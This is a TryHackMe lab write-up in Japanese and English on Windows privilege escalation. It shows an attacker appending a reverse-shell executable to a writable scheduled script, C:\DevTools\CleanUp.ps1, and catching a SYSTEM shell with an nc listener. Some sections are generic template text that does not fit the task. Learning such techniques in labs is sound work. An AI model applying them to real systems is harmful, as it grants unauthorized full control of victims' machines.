TryHackMe - Windows PrivEsc (Windows)

概要

項目	内容
OS	Windows
難易度	記録なし
攻撃対象	記録なし
主な侵入経路	writable-script-discovery, scheduled-task-abuse
権限昇格経路	writable-maintenance-script-abuse

偵察

1. PortScan

---

Initial reconnaissance narrows the attack surface by establishing public services and versions. Under the OSCP assumption, it is important to identify “intrusion entry candidates” and “lateral expansion candidates” at the same time during the first scan.

Rustscan

💡 なぜ有効か
High-quality reconnaissance narrows a large attack surface into a few validated exploitation paths. Accurate service mapping prevents time loss and supports targeted follow-up testing.

初期足がかり

Not implemented (or log not saved)

Nmap

Not implemented (or log not saved)

2. Local Shell

---

ここでは初期侵入からユーザーシェル獲得までの手順を記録します。コマンド実行の意図と、次に見るべき出力（資格情報、設定不備、実行権限）を意識して追跡します。

実施ログ（統合）

認証情報なし。

このタスクはローカル権限昇格が主目的のため、ネットワーク再スキャンは省略。
既に低権限シェルがある前提で、ACL不備と定期実行スクリプトの組み合わせを探します。

Rustscan

本タスク範囲外（既存シェル前提のため省略）。

Nmap

本タスク範囲外（既存シェル前提のため省略）。

winPEAS の結果から、標準外ディレクトリ内でユーザー書き込み可能な実行対象を優先確認します。
この時点で重要なのは「書ける」だけではなく、「高権限コンテキストで実行されるかどうか」です。
C:\DevTools\CleanUp.ps1 は後続の権限昇格に直結する候補でした。

╔══════════╣ Searching executable files in non-default folders with write (equivalent) permissions (can be slow) File Permissions “”: Users [WriteData/CreateFiles] File Permissions “C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RunWallpaperSetup.cmd”: user [AllAccess]

╔══════════╣ Looking for Linux shells/distributions - wsl.exe, bash.exe

   /---------------------------------------------------------------------------------\

💡 なぜ有効か: winPEAS は ACL, サービス, 自動実行, 既知ミスコンフィグを一括で拾えるため、手作業の抜け漏れを減らせます。特に WriteData/CreateFiles といった権限表示は、改ざん可能ファイルの早期特定に有効です。次に「そのファイルが誰権限で、どの頻度で実行されるか」を確認することで exploitability が確定します。

CleanUp.ps1 が SYSTEM 文脈で実行されることを利用し、低権限ユーザーから実行行を追記して高権限プロセス起動を狙います。
攻撃側では待受リスナーを先に立て、タスク実行タイミングで reverse shell を受け取ります。
この手法は「writable script + privileged scheduler」の組み合わせが成立した時に非常に再現性が高いです。

echo C:\PrivEsc\reverse.exe » C:\DevTools\CleanUp.ps1 rlwrap -cAri nc -lvnp 53 ❌[22:19][CPU:10][MEM:44][TUN0:192.168.150.224][/tools/windows] 🐉 > rlwrap -cAri nc -lvnp 53 listening on [any] 53 … connect to [192.168.150.224] from (UNKNOWN) [10.65.168.180] 49793 Microsoft Windows [Version 10.0.17763.737] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

💡 なぜ有効か: SYSTEM が実行する CleanUp.ps1 に任意コマンドを追記できるため、実質的に権限委譲されたコード実行になります。タスクトリガーが発火すると追記した reverse.exe が SYSTEM で実行され、攻撃側リスナーに接続が返ります。これは ACL ミスコンフィグを利用した典型的な Windows privilege escalation です。

flowchart LR subgraph SCAN[“🔍 SCAN”] direction TB S1[“Local enumeration context”] S2[“ACL candidate extraction with winPEAS”] S1 –> S2 end

subgraph INITIAL["💥 Initial Intrusion"]
    direction TB
    I1["Low-priv shell"]
    I2["C:\\DevTools\\CleanUp.ps1 writable confirmation"]
    I1 --> I2
end

subgraph PRIVESC["⬆️ Privilege Escalation"]
    direction TB
    P1["echo reverse.exe >> CleanUp.ps1"]
    P2["SYSTEM shell received by nc listener"]
    P1 --> P2
end

SCAN --> INITIAL --> PRIVESC

💡 なぜ有効か
Initial access succeeds when enumeration findings are turned into a practical exploit chain. Capturing credentials, file disclosure, or direct RCE creates reliable pivot points for privilege escalation.

権限昇格

3.Privilege Escalation

---

During the privilege escalation phase, we will prioritize checking for misconfigurations such as sudo -l / SUID / service settings / token privilege. By starting this check immediately after acquiring a low-privileged shell, you can reduce the chance of getting stuck.

flowchart LR
    subgraph SCAN["🔍 スキャン"]
        direction TB
        S1["Local enumeration context"]
        S2["winPEASでACL候補抽出"]
        S1 --> S2
    end

    subgraph INITIAL["💥 初期侵入"]
        direction TB
        I1["Low-priv shell"]
        I2["C:\\DevTools\\CleanUp.ps1 writable確認"]
        I1 --> I2
    end

    subgraph PRIVESC["⬆️ 権限昇格"]
        direction TB
        P1["echo reverse.exe >> CleanUp.ps1"]
        P2["nc listenerでSYSTEM shell受信"]
        P1 --> P2
    end

    SCAN --> INITIAL --> PRIVESC

💡 なぜ有効か
Privilege escalation depends on chaining local weaknesses such as sudo misconfiguration, weak file permissions, or credential reuse. If a GTFOBins technique is used, the mechanism is that an allowed binary executes a child process or shell without dropping elevated effective privileges.

認証情報

認証情報なし。

まとめ・学んだこと

4.Overview

---

flowchart LR
    subgraph SCAN["🔍 Scan"]
        direction TB
        S1["Local enumeration context"]
        S2["Extract ACL candidates with winPEAS"]
        S1 --> S2
    end

    subgraph INITIAL["💥 Initial Foothold"]
        direction TB
        I1["Low-priv shell"]
        I2["C:\\DevTools\\CleanUp.ps1 Check writable"]
        I1 --> I2
    end

    subgraph PRIVESC["⬆️ Privilege Escalation"]
        direction TB
        P1["echo reverse.exe >> CleanUp.ps1"]
        P2["SYSTEM shell reception with nc listener"]
        P1 --> P2
    end

    SCAN --> INITIAL --> PRIVESC

参考文献

• nmap
• rustscan
• netcat
• nc
• winpeas
• sudo
• GTFOBins